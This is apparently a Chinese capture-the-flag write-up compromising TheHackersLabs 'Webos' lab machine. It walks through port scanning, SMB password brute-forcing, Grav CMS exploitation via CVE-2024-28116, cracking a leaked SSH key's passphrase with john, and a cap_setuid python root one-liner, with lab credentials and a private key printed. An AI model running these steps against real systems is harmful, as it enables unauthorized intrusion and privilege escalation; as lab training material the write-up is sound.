Webos

image

信息搜集

192.168.43.116

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.116 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.116:22
Open 192.168.43.116:80
Open 192.168.43.116:139
Open 192.168.43.116:445
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.116
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-14 05:58 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.00s elapsed
Initiating ARP Ping Scan at 05:58
Scanning 192.168.43.116 [1 port]
Completed ARP Ping Scan at 05:58, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:58
Completed Parallel DNS resolution of 1 host. at 05:58, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:58
Scanning 192.168.43.116 [4 ports]
Discovered open port 80/tcp on 192.168.43.116
Discovered open port 22/tcp on 192.168.43.116
Discovered open port 139/tcp on 192.168.43.116
Discovered open port 445/tcp on 192.168.43.116
Completed SYN Stealth Scan at 05:58, 0.02s elapsed (4 total ports)
Initiating Service scan at 05:58
Scanning 4 services on 192.168.43.116
Completed Service scan at 05:58, 11.02s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.116
NSE: Script scanning 192.168.43.116.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.92s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.03s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.00s elapsed
Nmap scan report for 192.168.43.116
Host is up, received arp-response (0.00064s latency).
Scanned at 2026-05-14 05:58:31 CST for 14s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d1:ab:7b:af:5c:3b:5e:52:23:9a:97:57:a8:aa:a1:f5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMP5y9qII4Y1Fsf0MbIX17fw4Y0Gdhcu92GoL2olzME0PXunSKQ1a6UokdyltMoGd5dEkvX7HpitnQemJ1iGZYQ=
| 256 73:d9:ad:9e:c0:96:12:d8:ed:1b:ee:c0:15:ba:34:98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPBPz0mRGRuiKwzaRFH/6u+5rgtzMGSTbz8+p0bokJYV
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-favicon: Unknown favicon MD5: 0B11A9699AE33DE62A1D05BE8F733486
| http-robots.txt: 13 disallowed entries
| /.github/ /.phan/ /assets/ /backup/ /bin/ /cache/ /logs/
|_/system/ /tests/ /tmp/ /user/ /vendor/ /webserver-configs/
|_http-title: webos.thl | Grav
|_http-server-header: Apache/2.4.59 (Debian)
|_http-generator: GravCMS
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: THE HACKERS LABS - WEBOS)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.17.12-Debian (workgroup: THE HACKERS LABS - WEBOS)
MAC Address: 08:00:27:48:3F:94 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/14%OT=22%CT=%CU=33506%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A04F415%P=x86_64-pc-linux-gnu)SEQ(SP=10A%GCD=1%ISR=108%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 18.069 days (since Sun Apr 26 04:18:55 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=266 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: THEHACKERSLABS-WEBOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
| date: 2026-05-13T21:58:43
|_ start_date: N/A
| nbstat: NetBIOS name: , NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| <00> Flags: <unique><active>
| <03> Flags: <unique><active>
| <1e> Flags: <group><active>
| <20> Flags: <unique><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -40m01s, deviation: 1h09m16s, median: -1s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.17.12-Debian)
| Computer name: thehackerslabs-webos
| NetBIOS computer name: THEHACKERSLABS-WEBOS\x00
| Domain name:
| FQDN: thehackerslabs-webos
|_ System time: 2026-05-13T23:58:43+02:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 7552/tcp): CLEAN (Couldn't connect)
| Check 2 (port 54060/tcp): CLEAN (Couldn't connect)
| Check 3 (port 23785/udp): CLEAN (Failed to receive data)
| Check 4 (port 43884/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required

TRACEROUTE
HOP RTT ADDRESS
1 0.63 ms 192.168.43.116

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:58
Completed NSE at 05:58, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds
Raw packets sent: 27 (1.982KB) | Rcvd: 19 (1.454KB)
  • 22 SSH
  • 80 HTTP
  • 139 445 SMB

写入hosts

1
192.168.43.116 webos.thl

前面rustscan扫描的时候已经扫描出robots.txt了。

image

经过在robots.txt中查找发现http://webos.thl/user/accounts/admin.yaml泄露了admin的hash值。尝试爆破未果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
state: enabled
email: admin@thehackerslabs.com
fullname: TheHackersLabs
title: Administrator
hashed_password: $2y$10$F0k5Ajn42KuhpoAN3Y7FXevY5W2MKHQpwpCKg7EzDxlayLD.iwVJC
language: es
content_editor: default
twofa_enabled: false
twofa_secret: NVNYOYB5IL3NPUKKRX4E6BPCTRWRQNFQ
avatar: { }
access:
site:
login: true
admin:
login: true
super: true

枚举smb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿Eecho)-[~]
└─# smbclient -L //192.168.43.116/ -N

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
webos Disk Archivo compartido en Samba
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
nobody Disk Home Directories
Reconnecting with SMB1 for workgroup listing.

Server Comment
--------- -------

Workgroup Master
--------- -------

1
enum4linux -U 192.168.43.116

image

系统存在webos用户

使用 netexec 对 SMB 服务进行密码喷爆破

1
netexec smb 192.168.43.116 -u webos -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding

image

成功获取到凭证 webos:geraldine

登录smb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿Eecho)-[~]
└─# smbclient //192.168.43.116/webos -U webos
Password for [WORKGROUP\webos]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jul 18 02:47:07 2024
.. D 0 Thu Jul 18 17:31:55 2024
MamaÑema.txt N 245 Thu Jul 18 02:47:07 2024

19480400 blocks of size 1024. 16319196 blocks available
smb: \> get MamaÑema.txt
getting file \MamaÑema.txt of size 245 as MamaÑema.txt (59.8 KiloBytes/sec) (average 59.8 KiloBytes/sec)
smb: \>
┌──(root㉿Eecho)-[~]
└─# cat MamaÑema.txt
++++++++++[>++++++++++>++++++++++>+++++++++++>+++++++++++>+++++++++++>++++++>++++++++>++++++++++>+++++++++++>+++++++++++>++++++++++>+++++++++++>+++++>++++++>++++<<<<<<<<<<<<<<<-]>---.>.>-.>-----.>.>--.>.>+.>++++.>-----.>-.>+.>++++.>---.>++.....

Brainfuck解密

http://www.hiencode.com/brain.html

image

1
admin:Perico69*****

登录GRAV

根据文档知道admin的路由https://learn.getgrav.org/17/admin-panel/introduction#usage

image

image

版本是Actual v1.7.44存在CVE-2024-28116

https://github.com/akabe1/Graver

image

image

执行后访问返回404以为打不通呢

image

image

原来是需要小写,既然可以执行id那么就反弹一个shell

打开页面功能,编辑刚刚脚本创建的文件

image

image

image

访问/hacked_rgqq

image

成功获取www的shell

提权

www -> webos

/opt目录下泄露了一个私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
www-data@TheHackersLabs-Webos:/opt$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
ezFLIVT0OZPkK1bB3I2tLpXi0=
-----END OPENSSH PRIVATE KEY-----

从私钥第一行可以看到它使用了 aes256-ctr​ 和 bcrypt​ 加密,这意味着存在Passphrase

image

爆破Passphrase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh2john id_rsa2 > rsa_hash.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
freestyle (id_rsa2)
1g 0:00:00:12 DONE (2026-05-14 06:32) 0.07824g/s 285.4p/s 285.4c/s 285.4C/s girls..654123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

获取私钥的用户名

1
2
3
4
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh-keygen -y -f id_rsa2
Enter passphrase for "id_rsa2":
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKenJrjXC6OCWl5WhP4KDa+B7Rv9GdhlZa91O1noGKfOBLqderInRTRJxvhiuMFbpO4xwjhB4A5QYcp114PQ6h2b5NLvoKxcLvlGqCBhKM9DtveO144I/Fp/XlDN5yh1roWVx8rfRHp2kFQK122q9D8fycSIHL45H5adPb5qK+QlV9xzCoVR7qhxK4QBbz/Pzrl8bPqMlw3EA8of8wsus1b5WBNsXv/CqtRT8/OIVZA560b8maqf1dI0RxdUkggBYll0xtcQPoT08rawJbUrIV98OZW+KwJBp5MiSJBDxr6x+TSMJRuAxtf75hQjjIo6+EAItwyYzrva+tAl5y4bzZgMeNv7213CMkW0ljBwB6Kyl+4IDcagT4DOwI0wQGQPFMWSewhDcItbyWq6dYeru5Cbj/SiQ7fhPOpsg78RoZA3tbHbfdGOcC1vXpH3jAL6QR+ByK9HeGtKl8xvrC33Vc7vm+pQdCzllyfjQ4jiNMZKB7EOZT1Ea8jZW+XARzuIBxlZzLMDAK5BnBtR7UA+uC4MbkXDwD4WjG6uHyu4RF2guyD3/1T4T8e3Z9ZiYcwntg1stBXc34kc+PVmDpUPtLhJ8TyHca3gDDifRLOyfSThRlo7Hg33wPgUTjjlL2BgUEW0kyGIIpx7Q9FCk5dK/LKORImoeNVumW2gXcl681Lw== webos@debian

webos用户

横向移动到webos用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@TheHackersLabs-Webos:/opt$ ssh webos@127.0.0.1 -i id_rsa
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:w8UgTBmuwG1smfcGc48qBPhvE6qd3suezLv4a6dEt2M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Enter passphrase for key 'id_rsa':
Linux TheHackersLabs-Webos 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 18 11:45:53 2024 from 192.168.18.19
webos@TheHackersLabs-Webos:~$ id
uid=1001(webos) gid=1001(webos) grupos=1001(webos),1002(webito)
webos@TheHackersLabs-Webos:~$

webos -> root

1
2
3
4
5
6
7
8
9
10
11
12
13
webos@TheHackersLabs-Webos:~$ ls -al
total 6716
drwxr-xr-x 5 webos webos 4096 jul 18 2024 .
drwxr-xr-x 4 root root 4096 jul 6 2024 ..
lrwxrwxrwx 1 root root 9 jul 18 2024 .bash_history -> /dev/null
-rw-r--r-- 1 webos webos 220 abr 23 2023 .bash_logout
-rw-r--r-- 1 webos webos 3526 abr 23 2023 .bashrc
drwxr-xr-x 3 webos webos 4096 jul 6 2024 .local
-rw-r--r-- 1 webos webos 807 abr 23 2023 .profile
-rwxr-xr-x 1 root root 6839928 jul 6 2024 python3
drwx------ 2 webos webos 4096 jul 6 2024 .ssh
-r-------- 1 webos webos 36 jul 18 2024 user.txt
drwxr-xr-x 2 webos webos 4096 jul 17 2024 webito

python3很可疑查看它getcap

getcap 是 Linux 系统中的一个命令,全称是 “get capabilities” 它的作用是查看 Linux 文件(特别是可执行程序)上配置了哪些“能力”

在传统的 Linux 安全模型中,权限只有两种:

  1. 普通用户(User): 权限很小,很多敏感操作(如绑定 80 端口、修改系统时间)都做不了。
  2. 超级用户(Root): 权限无限大,可以做任何事。

这种“非黑即白”的设计存在很大的安全隐患。比如,Web 服务器(如 Nginx)为了绑定普通的 80 端口,在启动时必须拥有 Root 权限。但如果 Nginx 存在漏洞,黑客一旦攻破 Nginx,就直接拿到了整台服务器的 Root 最高权限。

为了解决这个问题,Linux 引入了 ​Capabilities(能力)机制​。它把原本属于 Root 的特权​拆分成了几十个细小的、独立的“小钥匙”

  • CAP_NET_BIND_SERVICE:允许绑定 1024 以下的特权端口(如 80, 443)。
  • CAP_SYS_TIME:允许修改系统时间。
  • CAP_NET_ADMIN:允许配置网络接口和防火墙。

通过这种机制,我们可以只给 Nginx 赋予 CAP_NET_BIND_SERVICE 这一个特权,而不需要给它完整的 Root 权限。

1
2
3
4
5
6
7
webos@TheHackersLabs-Webos:~$ getcap /home/webos/python3
-bash: getcap: orden no encontrada
webos@TheHackersLabs-Webos:~$ find / -name getcap -type f 2>/dev/null
/usr/sbin/getcap
webos@TheHackersLabs-Webos:~$ /usr/sbin/getcap /home/webos/python3
/home/webos/python3 cap_setuid=ep
webos@TheHackersLabs-Webos:~$

/home/webos/python3被管理员赋予了cap_setuid=ep 的特权

  • cap_setuid:允许程序更改当前进程的有效用户 ID(UID)。
  • e(Effective) ​:这个能力​已经处于激活状态,只要程序运行,特权立刻生效。
  • p(Permitted) ​:这个程序被允许使用这个特权。
1
/home/webos/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
  • /home/webos/python3​:调用这个带特权的 Python。
  • import os:导入 Linux 系统底层调用的 Python 模块。
  • os.setuid(0)​: 触发 cap_setuid​ 能力,直接把当前进程的 UID 强行改为 0​(也就是 Root)。因为有 =ep 标志,系统内核会直接放行
  • os.system("/bin/bash"):在已经是 Root 的身份下,返回一个新的终端(Shell)

image